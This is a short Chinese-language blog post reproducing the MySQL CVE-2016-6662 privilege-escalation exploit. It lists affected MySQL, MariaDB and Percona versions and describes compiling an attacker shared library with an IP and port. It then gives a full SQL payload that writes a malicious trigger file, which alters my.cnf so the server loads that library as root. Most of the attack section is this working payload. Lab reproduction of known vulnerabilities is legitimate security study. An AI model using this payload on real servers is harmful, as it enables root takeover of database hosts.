cve-2016-6662 MYSQL提权分析
MySQL <= 5.7.15 远程代码执行/ 提权 (0day)
5.6.33
5.5.52 Mysql分支的版本也受影响,包括:
MariaDB
PerconaDB
创建bob用户,并赋予file,select,insert权限,创建用于实验的数据库activedb和表active_table
将exp先写入tmp目录,并编译成so文件,需要修改一下ip,port和my.cnf的位置
select "TYPE=TRIGGERS\ntriggers='CREATE DEFINER=`root`@`localhost` TRIGGER active_table\nAFTER INSERT\n ON `active_table` FOR EACH ROW\nBEGIN\n DECLARE void varchar(550);\n set global general_log_file=\\\'/etc/mysql/my.cnf\\\';\n set global general_log = on;\n select \"\n[mysqld]\nmalloc_lib=\\\'/tmp/mysql_hookandroot_lib.so\\\'\n\" INTO void; \n set global general_log = off;\nEND'\nsql_modes=1073741824\ndefiners='root@localhost'\nclient_cs_names='latin1'\nconnection_cl_names='latin1_swedish_ci'\ndb_cl_names='latin1_swedish_ci'" into dumpfile '/var/lib/mysql/activedb/active_table.TRG';
发现可写的my.cnf会被忽略???不知道为什么(难道打补丁了?),不知道5.5的情况会怎么样,所以先把my.cnf的权限改回来744
文章转发至:http://blog.0kami.cn/2016/09/18/cve-2016-6663-mysql-exp/